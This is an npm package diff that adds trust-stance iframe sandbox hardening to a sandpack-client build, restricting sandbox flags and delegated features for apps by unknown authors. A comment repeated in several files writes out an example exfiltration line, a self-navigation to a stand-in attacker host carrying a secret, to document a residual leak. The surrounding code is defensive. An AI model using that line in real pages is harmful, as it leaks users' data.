@immediately-run/sandpack-client 2.19.10 → 2.21.0

package/dist/.ir-build-stamp.json

@@ -1,6 +1,6 @@
 {
   "name": "sandpack-client",
-  "version": "2.19.10",
-  "srcHash": "3849536678a710ce43ac28c5f8900e4c49ab01fbdd22e8deb346e67ceaaad3cb",
-  "builtAt": "2026-06-30T06:23:41.996Z"
+  "version": "2.21.0",
+  "srcHash": "afbc7e1f72ab14999158254aba8d870baf59194b341b07fe89ea866277efaf8d",
+  "builtAt": "2026-07-31T18:21:27.125Z"
 }

package/dist/clients/iframe-factory.d.ts

@@ -15,13 +15,34 @@
  * The node/nodebox emulator is a different execution model and is intentionally
  * NOT routed through here.
  */
+/**
+ * The app's resolved trust stance (TRUST_MODES_SPEC §3, R3-194). Only **M3** (a
+ * stranger's app — unknown author) changes iframe emission; M0–M2 (kernel /
+ * first-party / the user's own / a verified-org's code) keep the exact baseline.
+ * Any absent/unknown value is treated as baseline (fail-SAFE: we only ever TIGHTEN
+ * on explicit M3, never loosen — R3-195 plan step 1).
+ */
+export type FrameStance = "M0" | "M1" | "M2" | "M3";
 /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
 export declare function assertOpaqueOrigin(iframe: HTMLIFrameElement): void;
-/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
-export declare function createSandboxedIframe(doc?: Document): HTMLIFrameElement;
+/**
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
+ * absent/M0–M2 emits the exact baseline.
+ *
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
+ * it does not — and cannot — close the single-shot self-nav floor.
+ */
+export declare function createSandboxedIframe(doc?: Document, stance?: FrameStance): HTMLIFrameElement;
 /**
  * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
  * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
- * this for the case where a host passes in its own iframe element.
+ * this for the case where a host passes in its own iframe element. `stance` selects
+ * the M3-hardened attributes when this factory is the one setting them.
  */
-export declare function ensureSandboxed(iframe: HTMLIFrameElement): void;
+export declare function ensureSandboxed(iframe: HTMLIFrameElement, stance?: FrameStance): void;

package/dist/clients/index.d.ts

@@ -1,4 +1,5 @@
 import type { ClientOptions, SandboxSetup } from "../types";
 import type { SandpackClient as SandpackClientBase } from "./base";
 export type { SandpackClient } from "./base";
+export type { FrameStance } from "./iframe-factory";
 export declare function loadSandpackClient(iframeSelector: string | HTMLIFrameElement, sandboxSetup: SandboxSetup, options?: ClientOptions): Promise<SandpackClientBase>;

package/dist/clients/node/index.js

@@ -2,9 +2,9 @@
 
 var utils = require('../../utils-BiVyytui.js');
 var nodebox = require('@codesandbox/nodebox');
-require('../../types-BIIEoWr6.js');
+require('../../types-KEkDKvIe.js');
 var base = require('../../base-DelKLlDk.js');
-var consoleHook = require('../../consoleHook-znXctRzh.js');
+var consoleHook = require('../../consoleHook-BRSVCdB0.js');
 require('outvariant');
 require('@zenfs/core');
 require('dequal');

package/dist/clients/node/index.mjs

@@ -1,8 +1,8 @@
 import { _ as __awaiter, a as __generator, f as nullthrows, c as createError, g as __extends, h as __assign } from '../../utils-DG1HA4RZ.mjs';
 import { INJECT_MESSAGE_TYPE, Nodebox, PREVIEW_LOADED_MESSAGE_TYPE } from '@codesandbox/nodebox';
-import '../../types-BFONOA2L.mjs';
+import '../../types-BgalzxpH.mjs';
 import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
-import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-DQVWjDRE.mjs';
+import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-BYuGaxe8.mjs';
 import 'outvariant';
 import '@zenfs/core';
 import 'dequal';

package/dist/clients/runtime/iframe-protocol.d.ts

@@ -7,7 +7,7 @@ export declare class IFrameProtocol {
     channelListeners: Record<number, ListenerFunction>;
     private channelListenersCount;
     readonly channelId: number;
-    constructor(iframe: HTMLIFrameElement, origin: string);
+    constructor(iframe: HTMLIFrameElement, _origin: string);
     cleanup(): void;
     register(port?: MessagePort, config?: Record<string, unknown>, babelPort?: MessagePort): void;
     dispatch(message: SandpackMessage): void;

package/dist/clients/runtime/index.js

@@ -2,9 +2,9 @@
 
 var utils = require('../../utils-BiVyytui.js');
 var dequal = require('dequal');
-var types = require('../../types-BIIEoWr6.js');
+var types = require('../../types-KEkDKvIe.js');
 var base = require('../../base-DelKLlDk.js');
-var iframeFactory = require('../../iframe-factory-BcC-S_XQ.js');
+var iframeFactory = require('../../iframe-factory-Bc7tcyQZ.js');
 var mimeDB = require('mime-db');
 require('outvariant');
 require('@zenfs/core');
@@ -67,7 +67,7 @@ var Protocol = /** @class */ (function () {
 }());
 
 var IFrameProtocol = /** @class */ (function () {
-    function IFrameProtocol(iframe, origin) {
+    function IFrameProtocol(iframe, _origin) {
         // React to messages from any iframe
         this.globalListeners = {};
         this.globalListenersCount = 0;
@@ -77,7 +77,7 @@ var IFrameProtocol = /** @class */ (function () {
         // Random number to identify this instance of the client when messages are coming from multiple iframes
         this.channelId = Math.floor(Math.random() * 1000000);
         this.frameWindow = iframe.contentWindow;
-        this.origin = '*'; //origin;
+        this.origin = "*"; //origin;
         this.globalListeners = [];
         this.channelListeners = [];
         this.eventListener = this.eventListener.bind(this);
@@ -101,6 +101,7 @@ var IFrameProtocol = /** @class */ (function () {
         if (!this.frameWindow) {
             return;
         }
+        // eslint-disable-next-line no-console -- dev registration trace
         console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
         // Order matters: the bundler reads ports[0] as the fs port and ports[1] as
         // the Babel worker port. `filter` keeps that order as long as the fs port
@@ -324,7 +325,7 @@ function handleImmutableFetch(url, integrity) {
                         return [2 /*return*/, serializeResponse(hit)];
                     }
                     // Stale/poisoned entry: drop it and fall through to a fresh fetch.
-                    return [4 /*yield*/, cache.delete(url).catch(function () { })];
+                    return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
                 case 5:
                     // Stale/poisoned entry: drop it and fall through to a fresh fetch.
                     _b.sent();
@@ -348,8 +349,11 @@ function handleImmutableFetch(url, integrity) {
                     if (!_a) return [3 /*break*/, 12];
                     // Only persist verified bytes. A failed put (quota) only costs the entry.
                     return [4 /*yield*/, cache
-                            .put(url, new Response(result.body.slice(0), { status: result.status, headers: { "content-type": result.contentType } }))
-                            .catch(function () { })];
+                            .put(url, new Response(result.body.slice(0), {
+                            status: result.status,
+                            headers: { "content-type": result.contentType },
+                        }))
+                            .catch(function () { return undefined; })];
                 case 11:
                     // Only persist verified bytes. A failed put (quota) only costs the entry.
                     _b.sent();
@@ -526,7 +530,7 @@ function getExtension(filepath) {
 
 var _a;
 var SUFFIX_PLACEHOLDER = "-{{suffix}}";
-var BUNDLER_URL = "https://".concat((_a = "2.19.10") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
+var BUNDLER_URL = "https://".concat((_a = "2.21.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
 var SandpackRuntime = /** @class */ (function (_super) {
     utils.__extends(SandpackRuntime, _super);
     function SandpackRuntime(selector, sandboxSetup, options) {
@@ -572,7 +576,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
             // touch shared storage on the bundler origin. The Babel worker that used
             // to require same-origin is now owned by the parent and reached over a
             // transferred `MessagePort` (see `createBabelWorkerPort`).
-            _this.iframe = iframeFactory.createSandboxedIframe();
+            _this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
             _this.initializeElement();
         }
         else {
@@ -581,7 +585,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
         }
         // Set-and-assert: a host-provided iframe is hardened here, and any iframe
         // (created or passed) is verified to carry no `allow-same-origin`.
-        iframeFactory.ensureSandboxed(_this.iframe);
+        iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
         _this.setLocationURLIntoIFrame();
         _this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
         _this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {

package/dist/clients/runtime/index.mjs

@@ -1,8 +1,8 @@
 import { _ as __awaiter, a as __generator, h as __assign, i as __rest, j as __spreadArray, g as __extends, f as nullthrows, e as extractErrorDetails, c as createError, d as createPackageJSON } from '../../utils-DG1HA4RZ.mjs';
 import { dequal } from 'dequal';
-import { a as SandpackLogLevel } from '../../types-BFONOA2L.mjs';
+import { a as SandpackLogLevel } from '../../types-BgalzxpH.mjs';
 import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
-import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-DybmkzJZ.mjs';
+import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-C8M0b9uf.mjs';
 import mimeDB from 'mime-db';
 import 'outvariant';
 import '@zenfs/core';
@@ -65,7 +65,7 @@ var Protocol = /** @class */ (function () {
 }());
 
 var IFrameProtocol = /** @class */ (function () {
-    function IFrameProtocol(iframe, origin) {
+    function IFrameProtocol(iframe, _origin) {
         // React to messages from any iframe
         this.globalListeners = {};
         this.globalListenersCount = 0;
@@ -75,7 +75,7 @@ var IFrameProtocol = /** @class */ (function () {
         // Random number to identify this instance of the client when messages are coming from multiple iframes
         this.channelId = Math.floor(Math.random() * 1000000);
         this.frameWindow = iframe.contentWindow;
-        this.origin = '*'; //origin;
+        this.origin = "*"; //origin;
         this.globalListeners = [];
         this.channelListeners = [];
         this.eventListener = this.eventListener.bind(this);
@@ -99,6 +99,7 @@ var IFrameProtocol = /** @class */ (function () {
         if (!this.frameWindow) {
             return;
         }
+        // eslint-disable-next-line no-console -- dev registration trace
         console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
         // Order matters: the bundler reads ports[0] as the fs port and ports[1] as
         // the Babel worker port. `filter` keeps that order as long as the fs port
@@ -322,7 +323,7 @@ function handleImmutableFetch(url, integrity) {
                         return [2 /*return*/, serializeResponse(hit)];
                     }
                     // Stale/poisoned entry: drop it and fall through to a fresh fetch.
-                    return [4 /*yield*/, cache.delete(url).catch(function () { })];
+                    return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
                 case 5:
                     // Stale/poisoned entry: drop it and fall through to a fresh fetch.
                     _b.sent();
@@ -346,8 +347,11 @@ function handleImmutableFetch(url, integrity) {
                     if (!_a) return [3 /*break*/, 12];
                     // Only persist verified bytes. A failed put (quota) only costs the entry.
                     return [4 /*yield*/, cache
-                            .put(url, new Response(result.body.slice(0), { status: result.status, headers: { "content-type": result.contentType } }))
-                            .catch(function () { })];
+                            .put(url, new Response(result.body.slice(0), {
+                            status: result.status,
+                            headers: { "content-type": result.contentType },
+                        }))
+                            .catch(function () { return undefined; })];
                 case 11:
                     // Only persist verified bytes. A failed put (quota) only costs the entry.
                     _b.sent();
@@ -524,7 +528,7 @@ function getExtension(filepath) {
 
 var _a;
 var SUFFIX_PLACEHOLDER = "-{{suffix}}";
-var BUNDLER_URL = "https://".concat((_a = "2.19.10") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
+var BUNDLER_URL = "https://".concat((_a = "2.21.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
 var SandpackRuntime = /** @class */ (function (_super) {
     __extends(SandpackRuntime, _super);
     function SandpackRuntime(selector, sandboxSetup, options) {
@@ -570,7 +574,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
             // touch shared storage on the bundler origin. The Babel worker that used
             // to require same-origin is now owned by the parent and reached over a
             // transferred `MessagePort` (see `createBabelWorkerPort`).
-            _this.iframe = createSandboxedIframe();
+            _this.iframe = createSandboxedIframe(document, _this.options.stance);
             _this.initializeElement();
         }
         else {
@@ -579,7 +583,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
         }
         // Set-and-assert: a host-provided iframe is hardened here, and any iframe
         // (created or passed) is verified to carry no `allow-same-origin`.
-        ensureSandboxed(_this.iframe);
+        ensureSandboxed(_this.iframe, _this.options.stance);
         _this.setLocationURLIntoIFrame();
         _this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
         _this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {

package/dist/{consoleHook-znXctRzh.js → consoleHook-BRSVCdB0.js}

@@ -2,7 +2,7 @@
 
 var outvariant = require('outvariant');
 var utils = require('./utils-BiVyytui.js');
-require('./types-BIIEoWr6.js');
+require('./types-KEkDKvIe.js');
 
 var EventEmitter = /** @class */ (function () {
     function EventEmitter() {

package/dist/{consoleHook-DQVWjDRE.mjs → consoleHook-BYuGaxe8.mjs}

@@ -1,6 +1,6 @@
 import { invariant } from 'outvariant';
 import { c as createError } from './utils-DG1HA4RZ.mjs';
-import './types-BFONOA2L.mjs';
+import './types-BgalzxpH.mjs';
 
 var EventEmitter = /** @class */ (function () {
     function EventEmitter() {

package/dist/fs/SandpackFS.d.ts

@@ -1,4 +1,4 @@
-import { BoundContext } from "@zenfs/core";
+import { type BoundContext } from "@zenfs/core";
 /**
  * Per-file UI metadata. The file *content* lives in the filesystem as bytes;
  * everything else (visibility, editability, initial focus) is kept in a sidecar
@@ -45,6 +45,20 @@ export type SandpackFilesInput = Record<string, FileMeta & {
  * All reads / writes are async. Changes emit a single coalesced notification
  * (watcher or explicit helper calls) so React can subscribe via
  * `useSyncExternalStore`.
+ *
+ * ## Writer invariant (why every mutation must funnel through here)
+ *
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
+ * boundary, so **every** independent mutator of the shared store MUST route through
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
+ * assertion (roadmap R3-110); in production the guard is compiled out.
  */
 export declare class SandpackFS {
     readonly fsContext: BoundContext;
@@ -55,6 +69,13 @@ export declare class SandpackFS {
     private sidecarEnvironment;
     private sidecarMode;
     private disposed;
+    /** The ZenFS mount point this instance created and is therefore allowed to
+     *  unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
+     *  belongs to the caller. */
+    private ownedMountPoint;
+    private readonly rawWriteFile;
+    private readonly rawUnlink;
+    private readonly rawMkdir;
     private constructor();
     /**
      * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -105,6 +126,16 @@ export declare class SandpackFS {
      * reflect it — distinct from local edits, which never reach here.
      */
     handleRemoteChange(path: string): void;
+    /**
+     * Tear this instance down: drop every subscriber, stop emitting changes, and
+     * release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
+     * context ({@link fromFileSystemContext}) is left mounted — its lifecycle
+     * belongs to the caller.
+     *
+     * ZenFS mounts live in a process-global table, so an instance that is never
+     * disposed keeps its backing store alive for the page's lifetime. Idempotent.
+     */
+    dispose(): void;
     private toAbs;
     private notify;
     private ensureMetaDir;

package/dist/iframe-factory-Bc7tcyQZ.js

@@ -0,0 +1,89 @@
+'use strict';
+
+/**
+ * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
+ * threat T1).
+ *
+ * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
+ * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
+ * could remove its own sandboxing and reach the parent — the whole capability
+ * model collapses. This is the one invariant with no defense-in-depth, so
+ * creation is centralized here and the resolved attribute is asserted. Raw
+ * `document.createElement('iframe')` for app content elsewhere is forbidden (a
+ * greppable CI check), so the verifiable invariant is "every app iframe is born
+ * in this factory."
+ *
+ * Scope: the opaque-origin app iframes (the runtime + static preview clients).
+ * The node/nodebox emulator is a different execution model and is intentionally
+ * NOT routed through here.
+ */
+// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
+// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
+var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
+// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
+// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
+// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
+// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
+// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
+// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
+// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
+// not by a sandbox flag. `allow-same-origin` remains absent.
+var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
+// Baseline delegated features (the `allow` / Permissions-Policy attribute).
+var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
+// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
+// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
+// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
+var APP_ALLOW_M3 = "";
+var sandboxAttrFor = function (stance) {
+    return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
+};
+var allowAttrFor = function (stance) {
+    return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
+};
+/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
+function assertOpaqueOrigin(iframe) {
+    var _a;
+    var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
+    if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
+        throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
+            "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
+    }
+}
+/**
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
+ * absent/M0–M2 emits the exact baseline.
+ *
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
+ * it does not — and cannot — close the single-shot self-nav floor.
+ */
+function createSandboxedIframe(doc, stance) {
+    if (doc === void 0) { doc = document; }
+    var iframe = doc.createElement("iframe");
+    iframe.setAttribute("sandbox", sandboxAttrFor(stance));
+    iframe.setAttribute("allow", allowAttrFor(stance));
+    assertOpaqueOrigin(iframe);
+    return iframe;
+}
+/**
+ * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
+ * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
+ * this for the case where a host passes in its own iframe element. `stance` selects
+ * the M3-hardened attributes when this factory is the one setting them.
+ */
+function ensureSandboxed(iframe, stance) {
+    if (!iframe.getAttribute("sandbox")) {
+        iframe.setAttribute("sandbox", sandboxAttrFor(stance));
+        iframe.setAttribute("allow", allowAttrFor(stance));
+    }
+    assertOpaqueOrigin(iframe);
+}
+
+exports.createSandboxedIframe = createSandboxedIframe;
+exports.ensureSandboxed = ensureSandboxed;

package/dist/iframe-factory-C8M0b9uf.mjs

@@ -0,0 +1,86 @@
+/**
+ * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
+ * threat T1).
+ *
+ * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
+ * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
+ * could remove its own sandboxing and reach the parent — the whole capability
+ * model collapses. This is the one invariant with no defense-in-depth, so
+ * creation is centralized here and the resolved attribute is asserted. Raw
+ * `document.createElement('iframe')` for app content elsewhere is forbidden (a
+ * greppable CI check), so the verifiable invariant is "every app iframe is born
+ * in this factory."
+ *
+ * Scope: the opaque-origin app iframes (the runtime + static preview clients).
+ * The node/nodebox emulator is a different execution model and is intentionally
+ * NOT routed through here.
+ */
+// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
+// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
+var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
+// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
+// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
+// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
+// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
+// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
+// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
+// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
+// not by a sandbox flag. `allow-same-origin` remains absent.
+var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
+// Baseline delegated features (the `allow` / Permissions-Policy attribute).
+var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
+// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
+// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
+// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
+var APP_ALLOW_M3 = "";
+var sandboxAttrFor = function (stance) {
+    return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
+};
+var allowAttrFor = function (stance) {
+    return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
+};
+/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
+function assertOpaqueOrigin(iframe) {
+    var _a;
+    var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
+    if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
+        throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
+            "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
+    }
+}
+/**
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
+ * absent/M0–M2 emits the exact baseline.
+ *
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
+ * it does not — and cannot — close the single-shot self-nav floor.
+ */
+function createSandboxedIframe(doc, stance) {
+    if (doc === void 0) { doc = document; }
+    var iframe = doc.createElement("iframe");
+    iframe.setAttribute("sandbox", sandboxAttrFor(stance));
+    iframe.setAttribute("allow", allowAttrFor(stance));
+    assertOpaqueOrigin(iframe);
+    return iframe;
+}
+/**
+ * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
+ * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
+ * this for the case where a host passes in its own iframe element. `stance` selects
+ * the M3-hardened attributes when this factory is the one setting them.
+ */
+function ensureSandboxed(iframe, stance) {
+    if (!iframe.getAttribute("sandbox")) {
+        iframe.setAttribute("sandbox", sandboxAttrFor(stance));
+        iframe.setAttribute("allow", allowAttrFor(stance));
+    }
+    assertOpaqueOrigin(iframe);
+}
+
+export { createSandboxedIframe as c, ensureSandboxed as e };

package/dist/{index-rbhm_KmF.mjs → index-CetxPB1x.mjs}

@@ -1,10 +1,10 @@
 import { g as __extends, h as __assign, _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
 import { PreviewController } from 'static-browser-server';
-import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-DQVWjDRE.mjs';
+import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-BYuGaxe8.mjs';
 import { S as SandpackClient } from './base-DBh7xJX9.mjs';
-import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-DybmkzJZ.mjs';
+import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-C8M0b9uf.mjs';
 import 'outvariant';
-import './types-BFONOA2L.mjs';
+import './types-BgalzxpH.mjs';
 import '@zenfs/core';
 import 'dequal';
 
@@ -75,14 +75,14 @@ var SandpackStatic = /** @class */ (function (_super) {
             _this.element = element;
             // Opaque-origin app iframe via the single factory (G1/T1) — untrusted
             // preview content runs at an opaque origin (see the runtime client).
-            _this.iframe = createSandboxedIframe();
+            _this.iframe = createSandboxedIframe(document, _this.options.stance);
         }
         else {
             _this.element = selector;
             _this.iframe = selector;
         }
         // Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
-        ensureSandboxed(_this.iframe);
+        ensureSandboxed(_this.iframe, _this.options.stance);
         _this.eventListener = _this.eventListener.bind(_this);
         if (typeof window !== "undefined") {
             window.addEventListener("message", _this.eventListener);

package/dist/{index--fILWAw8.js → index-dX5nvjo5.js}

@@ -2,11 +2,11 @@
 
 var utils = require('./utils-BiVyytui.js');
 var staticBrowserServer = require('static-browser-server');
-var consoleHook = require('./consoleHook-znXctRzh.js');
+var consoleHook = require('./consoleHook-BRSVCdB0.js');
 var base = require('./base-DelKLlDk.js');
-var iframeFactory = require('./iframe-factory-BcC-S_XQ.js');
+var iframeFactory = require('./iframe-factory-Bc7tcyQZ.js');
 require('outvariant');
-require('./types-BIIEoWr6.js');
+require('./types-KEkDKvIe.js');
 require('@zenfs/core');
 require('dequal');
 
@@ -77,14 +77,14 @@ var SandpackStatic = /** @class */ (function (_super) {
             _this.element = element;
             // Opaque-origin app iframe via the single factory (G1/T1) — untrusted
             // preview content runs at an opaque origin (see the runtime client).
-            _this.iframe = iframeFactory.createSandboxedIframe();
+            _this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
         }
         else {
             _this.element = selector;
             _this.iframe = selector;
         }
         // Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
-        iframeFactory.ensureSandboxed(_this.iframe);
+        iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
         _this.eventListener = _this.eventListener.bind(_this);
         if (typeof window !== "undefined") {
             window.addEventListener("message", _this.eventListener);

package/dist/index.js

@@ -1,7 +1,7 @@
 'use strict';
 
 var utils = require('./utils-BiVyytui.js');
-var types = require('./types-BIIEoWr6.js');
+var types = require('./types-KEkDKvIe.js');
 require('outvariant');
 require('@zenfs/core');
 
@@ -24,7 +24,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
                 case 2:
                     Client = _c.sent();
                     return [3 /*break*/, 7];
-                case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index--fILWAw8.js'); }).then(function (m) { return m.SandpackStatic; })];
+                case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index-dX5nvjo5.js'); }).then(function (m) { return m.SandpackStatic; })];
                 case 4:
                     Client = _c.sent();
                     return [3 /*break*/, 7];

package/dist/index.mjs

@@ -1,6 +1,6 @@
 import { _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
 export { b as addPackageJSONIfNeededToMap, c as createError, d as createPackageJSON, e as extractErrorDetails, n as normalizePath, f as nullthrows } from './utils-DG1HA4RZ.mjs';
-export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-BFONOA2L.mjs';
+export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-BgalzxpH.mjs';
 import 'outvariant';
 import '@zenfs/core';
 
@@ -23,7 +23,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
                 case 2:
                     Client = _c.sent();
                     return [3 /*break*/, 7];
-                case 3: return [4 /*yield*/, import('./index-rbhm_KmF.mjs').then(function (m) { return m.SandpackStatic; })];
+                case 3: return [4 /*yield*/, import('./index-CetxPB1x.mjs').then(function (m) { return m.SandpackStatic; })];
                 case 4:
                     Client = _c.sent();
                     return [3 /*break*/, 7];

package/dist/{types-BFONOA2L.mjs → types-BgalzxpH.mjs}

@@ -1,5 +1,5 @@
 import { _ as __awaiter, a as __generator, h as __assign } from './utils-DG1HA4RZ.mjs';
-import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
+import { umount, mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
 
 /**
